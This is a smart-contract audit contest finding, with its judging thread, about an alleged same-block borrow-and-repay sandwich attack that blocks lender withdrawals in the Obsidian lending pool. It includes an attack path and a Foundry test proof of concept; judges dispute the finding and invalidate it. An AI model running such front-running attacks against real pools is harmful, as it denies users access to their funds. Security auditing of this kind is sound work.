Obsidian - An attacker can permanently DOS lender from withdrawing by a sandwich attack

[sherlock-admin4]

Obsidian

High

An attacker can permanently DOS lender from withdrawing by a sandwich attack

Summary

If a user borrows and repays a loan within the same block they do not pay any interest

Therefore an attacker can sandwich a lender trying to withdraw funds by borrowing those funds, to ensure the lender's tx reverts and then backrunning the lender's withdraw tx by repaying those funds, all within the same block to ensure 0 interest.

Root Cause

No intra-block interest accumulation

Allowing intrablock borrow and repays

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

1. Lender sends a tx to withdraw funds
2. Frontrun (1) by depositing collateral and then borrowing an amount of assets to make (1) revert
3. Backrun the reverted Tx by repaying the loan all within the same block to ensure no interest accumulates

Impact

Attacker can permanently DOS a lender withdrawing their funds, the cost of the attack is only the gas cost of the tx

PoC

Add the following to BigTest.t.sol

function test__BorrowerFrontRunsLenderWithdrawal() public {
    uint256 depositAmount = 100 ether;
    uint256 borrowAmount = 100 ether;

    // Lender deposits
    vm.startPrank(lender);
    asset1.mint(lender, depositAmount);
    asset1.approve(address(pool), depositAmount);
    pool.deposit(linearRatePool, depositAmount, lender);
    vm.stopPrank();

    // Attacker setup
    vm.startPrank(user);
    (address position, Action memory newPositionAction) = newPosition(user, "test-position");
    positionManager.process(position, newPositionAction);

    // Simulate front-running: 
    // Attacker deposits collateral
    // Attacker borrows all available funds
    asset2.mint(user, 200 ether);
    asset2.approve(address(positionManager), 200 ether);
    Action[] memory setupActions = new Action[](2);
    setupActions[0] = addToken(address(asset2));
    setupActions[1] = deposit(address(asset2), 200 ether);
    positionManager.processBatch(position, setupActions);

    Action memory borrowAction = borrow(linearRatePool, borrowAmount);
    positionManager.process(position, borrowAction);
    vm.stopPrank();

    // Lender attempts to withdraw, which will revert
    vm.prank(lender);
    vm.expectRevert(abi.encodeWithSelector(Pool.Pool_InsufficientWithdrawLiquidity.selector, linearRatePool, 0, depositAmount));
    pool.withdraw(linearRatePool, depositAmount, lender, lender);

    // Attacker repays the full amount, without paying any interest
    vm.startPrank(user);
    asset1.approve(address(positionManager), borrowAmount);
    Action memory repayAction = Action({
        op: Operation.Repay,
        data: abi.encode(linearRatePool, borrowAmount)
    });
    positionManager.process(position, repayAction);
    vm.stopPrank();

Console output:

Ran 1 test for test/integration/BigTest.t.sol:BigTest
[PASS] test__BorrowerFrontRunsLenderWithdrawal() (gas: 783412)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.61ms (815.19µs CPU time)

Ran 1 test suite in 5.94ms (4.61ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Mitigation

1. Implement intra-block interest accumulation to make this expensive for the attacker
2. Implement a time interval between deposits and repays

[samuraii77]

Escalate

273 is a duplicate of this issue.

[sherlock-admin3]

Escalate

Interest grows per timestamp, not block number, thus the malicious user can not do this at no cost as specified by the report. This is an intended behaviour.

The escalation could not be created because you are not exceeding the escalation threshold.

You can view the required number of additional valid issues/judging contest payouts in your Profile page, in the Sherlock webapp.

[elhajin]

Clear invalid.. unrealistic and that's why we have borrow fees I can argue the owner can steal the attacker by front-run his attack and increase the borrowing fees

[sherlock-admin3]

Escalate Clear invalid.. unrealistic and that's why we have borrow fees I can argue the owner can steal the attacker by front-run his attack and increase the borrowing fees

The escalation could not be created because you are not exceeding the escalation threshold.

You can view the required number of additional valid issues/judging contest payouts in your Profile page, in the Sherlock webapp.

[AtanasDimulski]

Escalate, Per @samuraii77 comment

[sherlock-admin3]

Escalate, Per @samuraii77 comment

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

[NicolaMirchev]

Escalate Per @elhajin comment

[sherlock-admin3]

Escalate Per @elhajin comment

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

[cvetanovv]

I agree with @NicolaMirchev escalation and @elhajin comment. This issue is the most Low severity. Why would anyone make such a complex attack with almost no benefit and, as @elhajin has mentioned, with a big chance to even come out at a loss with gas fees and borrowing fees.

Planning to accept the @NicolaMirchev escalation and invalidate the issue.

[0xspearmint1]

Hi @cvetanovv the only cost of the attack is gas fees, which are getting lower and lower on Ethereum mainnet.

There are no borrowing fees since the loan is repaid in the same block.

There is no benefit for the attacker, but the lender will not be able to withdraw their funds.

[cvetanovv]

This grief attack brings absolutely no benefits to the one doing it. For this I don't see any bug on the part of the protocol.

Moreover, this is called DoS for a block and is invalid:

Griefing for gas (frontrunning a transaction to fail, even if can be done perpetually) is considered a DoS of a single block, hence only if the function is clearly time-sensitive, it can be a Medium severity issue.

My decision to accept @NicolaMirchev escalation and invalidate the issue remains.